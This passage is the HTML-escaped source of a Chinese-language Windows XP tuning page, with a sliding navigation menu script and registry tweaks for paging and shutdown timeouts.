style="font-family:'+hdrFontFamily+';font-size:'+hdrFontSize+';color:'+hdrFontColor+';"&gt;&lt;b&gt;'+ssmItems[i][0]+'&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;')} else {if(!ssmItems[i][2])ssmItems[i][2]=linkTarget; document.write('&lt;td bg onmouseover="bgColor=\''+linkOverBGColor+'\'" onmouseout="bgColor=\''+linkBGColor+'\'" width="'+ssmItems[i][5]+'" colspan="'+ssmItems[i][3]+'" style="color:'+linkBGColor+';"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor=\''+linkOverBGColor+'\'" onmouseout="bgColor=\''+linkBGColor+'\'" width="100%" align="'+linkAlign+'"&gt;&lt;div align="'+linkAlign+'"&gt;&lt;span style="font-family:'+linkFontFamily+';font-size:'+linkFontSize+';"&gt; &lt;a href="'+ssmItems[i][1]+'" target="'+ssmItems[i][2]+'" class="ssmItems"&gt;'+ssmItems[i][0]+'&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;')} if(ssmItems[i][4]!="no"&amp;&amp;barBuilt==0){buildBar();barBuilt=1} if(ssmItems[i][4]!="no"){document.write('&lt;/tr&gt;')}} document.write('&lt;/table&gt;') if (NS6){document.write('&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;')} if (IE||NS6) {document.write('&lt;/div&gt;&lt;/div&gt;')} if (NS) {document.write('&lt;/layer&gt;&lt;/ilayer&gt;&lt;/layer&gt;')} theleft=-menuWidth;lastY=0;setTimeout('initSlide();', 1)} &lt;/script&gt;       &lt;script language="JavaScript"&gt; /* Configure menu styles below NOTE: To edit the link colors, go to the STYLE tags and edit the ssm2Items colors */ YOffset=80; // no quotes!! XOffset=0; staticYOffset=30; // no quotes!! slideSpeed=20 // no quotes!! waitTime=100; // no quotes!! this sets the time the menu stays out for after the mouse goes off it. menuBGColor="2A538C"; menuIsStatic="yes"; //this sets whether menu should stay static on the screen menuWidth=180; // Must be a multiple of 10! no quotes!! menuCols=2; hdrFontFamily="新明細體"; hdrFontSize="3"; hdrFontColor="2A538C"; hdrBGColor="#FFFFFF"; hdrAlign="left"; hdrVAlign="center"; hdrHeight="20"; linkFontFamily="新明細體"; linkFontSize="2.5"; linkBGColor="2A538C"; linkOverBGColor="#808080"; linkTarget="_top"; linkAlign="Left"; barBGColor="#FFFFFF"; barFontFamily="新明細體"; barFontSize="3"; barFontColor="2A538C"; barVAlign="center"; barWidth=20; // no quotes!! barText="其 他 網 頁"; // &lt;img&gt; tag supported. Put exact html for an image to show.  ///////////////////////////  // ssmItems[...]=[name, link, target, colspan, endrow?] - leave 'link' and 'target' blank to make a header ssmItems[0]=["Menu"] //create header ssmItems[1]=["首頁", "http://www.alan888.com/winxp/index.htm"] ssmItems[2]=["安裝及移除", "http://www.alan888.com/winxp/Version.html"] ssmItems[3]=["優化XP設定", "http://www.alan888.com/winxp/Optimize.html"] ssmItems[4]=["修改 XP 設定秘技", "http://www.alan888.com/winxp/Misc.html"] ssmItems[5]=["桌面調整", "http://www.alan888.com/winxp/Desktop.html"] ssmItems[6]=["功能調整", "http://www.alan888.com/winxp/AddRemove.html"] ssmItems[7]=["Internet Explorer 調整", "http://www.alan888.com/winxp/IE.html"] ssmItems[8]=["多重啟動及XP命令表", "http://www.alan888.com/winxp/DOSIndex.html"] ssmItems[9]=["XP 鍵盤快速鍵", "http://www.alan888.com/winxp/ShortCut.html"] ssmItems[10]=["廣東/五筆輸入法", "http://www.alan888.com/winxp/Input.html"] ssmItems[11]=["牆紙及登入畫面下載", "http://www.alan888.com/winxp/LogonWallPaper.html"] ssmItems[12]=["檔案下載", "http://www.alan888.com/winxp/Download.html"] ssmItems[13]=["Windows Server 2003", "http://www.alan888.com/winxp/win2k3.html"] ssmItems[14]=["共同研究", "http://www.alan888.com/Discuz/index.php"] buildMenu(); &lt;/script&gt;&lt;div id="basessm" style="visibility: hidden; position: absolute; left: 0pt; top: 3684px; z-index: 20; width: 210px; clip: rect(0pt, 202px, 289px, 0pt);"&gt;&lt;div id="thessm" style="position: absolute; left: -180px; top: 0pt; z-index: 20; visibility: visible;" onmouseover="moveOut()" onmouseout="moveBack()"&gt;&lt;table bg border="0" cellpadding="0" cellspacing="0" width="202" style="color:#2a538c;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table bg border="0" cellpadding="0" cellspacing="1" width="202" style="color:#2a538c;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2" align="left" bg height="20" valign="center" width="179" style="color:#ffffff;"&gt; &lt;span style="font-family:新明細體;font-size:100%;color:#2a538c;"&gt;&lt;b&gt;Menu&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td rowspan="100" align="center" bg valign="center" width="20" style="color:#ffffff;"&gt;&lt;p align="center"&gt;&lt;span style="font-family:新明細體;font-size:100%;color:#2a538c;"&gt;&lt;b&gt;其&lt;br /&gt;&lt;br /&gt;他&lt;br /&gt;&lt;br /&gt;網&lt;br /&gt;&lt;br /&gt;頁&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/index.htm" target="_top" class="ssmItems"&gt;首頁&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/Version.html" target="_top" class="ssmItems"&gt;安裝及移除&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/Optimize.html" target="_top" class="ssmItems"&gt;優化XP設定&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/Misc.html" target="_top" class="ssmItems"&gt;修改 XP 設定秘技&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/Desktop.html" target="_top" class="ssmItems"&gt;桌面調整&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/AddRemove.html" target="_top" class="ssmItems"&gt;功能調整&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/IE.html" target="_top" class="ssmItems"&gt;Internet Explorer 調整&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/DOSIndex.html" target="_top" class="ssmItems"&gt;多重啟動及XP命令表&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/ShortCut.html" target="_top" class="ssmItems"&gt;XP 鍵盤快速鍵&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/Input.html" target="_top" class="ssmItems"&gt;廣東/五筆輸入法&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/LogonWallPaper.html" target="_top" class="ssmItems"&gt;牆紙及登入畫面下載&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/Download.html" target="_top" class="ssmItems"&gt;檔案下載&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/winxp/win2k3.html" target="_top" class="ssmItems"&gt;Windows Server 2003&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" colspan="2" bg width="179" style="color:#2a538c;"&gt;&lt;ilayer&gt;&lt;layer onmouseover="bgColor='#808080'" onmouseout="bgColor='2A538C'" width="100%" align="Left"&gt;&lt;div align="left"&gt;&lt;span style="font-family:新明細體;font-size:85%;"&gt; &lt;a href="http://www.alan888.com/Discuz/index.php" target="_top" class="ssmItems"&gt;共同研究&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/layer&gt;&lt;/ilayer&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;  &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" colspan="2" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom" width="650"&gt; &lt;center&gt;優化 Windows XP 設定&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="10"&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#Ram1st"&gt;優先使用實際記憶加快系統速度&lt;/a&gt;&lt;/td&gt; &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#L2Cache"&gt;善用 CPU 的 L2 Cache 加快整體效能 &lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;  &lt;tr&gt;&lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#AutoClsApp"&gt;關機時自動關閉停止回應程式&lt;/a&gt;&lt;/td&gt;  &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#Prefetch"&gt;加快預讀能力改善開機速度&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25" width="325"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#SpeedBoot"&gt;加快開機及關機速度&lt;/a&gt;&lt;/td&gt; &lt;td class="bbody" width="325"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#ClsProgram"&gt;自動關閉停止回應程式&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#ClsDll"&gt;清除記憶體內被不用的DLL文件&lt;/a&gt;&lt;/td&gt; &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#SpeedBW"&gt;加快寬頻連接速度&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#SpeedMenu"&gt;加快菜單顯示速度&lt;/a&gt;&lt;/td&gt; &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#RefRate"&gt;加快自動更新率&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#Bootvis"&gt;使用微軟 Bootvis.exe 優化啟動速 &lt;/a&gt;&lt;/td&gt; &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#UnloadPrg"&gt;移除啟動時載入不需要的程式&lt;/a&gt; &lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#ClsService"&gt;停用不需要的服務&lt;/a&gt; &lt;/td&gt; &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#CDBurnOff"&gt;關閉 XP 內設的燒碟功能&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#LoadDefrag"&gt;在啟動電腦時執行 Defrag 程式&lt;/a&gt; &lt;/td&gt; &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#BootTime"&gt;減少多重啟動時等待時間&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td class="bbody" height="25"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#BootLanWait"&gt;減少寬頻網卡在開機時等待的時間&lt;/a&gt;&lt;/td&gt; &lt;td class="bbody"&gt;&lt;a href="http://www.alan888.com/winxp/Optimize.html#DialFast"&gt;加快撥號上網的撥號速度&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;   &lt;hr size="2" width="650"&gt;&lt;a name="SpeedBoot"&gt;&lt;/a&gt;&lt;a name="Ram1st"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt; 優先使用實際記憶加快系統速度 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  如果你的系統具備 256MB 或以上的記憶體可按下列辦法調整&lt;br /&gt;可加快系統的運行速度&lt;br /&gt;在〔開始〕→〔執行〕→〔Regedit〕→〔HKKEY_LOCAL_MACHINE〕&lt;br /&gt;→〔SYSTEM〕→〔CurrentControlSet〕→〔Control〕→〔Session Manager〕&lt;br /&gt;→在〔Memory Management〕的右手邊視窗&lt;br /&gt;將〔DisablePagingExecutive〕的〔Dword〕值由預設的〔0〕改為〔1〕&lt;br /&gt;重新開機後生效&lt;br /&gt;如由預設值設定為〔0〕則代表停用此功能&lt;br /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;center&gt;&lt;/center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBinary.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt; DisablePagingExecutive&lt;/td&gt;  &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_DWORD&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;0x00000001(1)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="Sblack" bgcolor="#d8d9df" height="20" width="516"&gt;...HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session  Manager\Memory Management&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;      &lt;hr width="650"&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;加快開機及關機速度 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;  &lt;center&gt;在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_CURRENT_USER〕→〔Control Panel〕→〔Desktop〕&lt;br /&gt;→將字串值〔HungAppTimeout〕的數值資料更改為〔200〕&lt;br /&gt;→將字串值〔WaitToKillAppTimeout〕的數值資料更改為〔1000〕&lt;br /&gt;&lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;HungAppTimeout&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;200&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;WaitToKillAppTimeout&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;1000&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_CURRENT_USER\Control Panel\Desktop&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;&lt;p&gt; 另在〔HKEY_LOCAL_MACHINE〕→〔System〕→〔CurrentControlSet〕→〔Control〕&lt;br /&gt;→將字串值〔HungAppTimeout〕的數值資料更改為〔200〕&lt;br /&gt;→將字串值〔WaitToKillServiceTimeout〕的數值資料更改為〔1000〕  &lt;/p&gt;&lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img 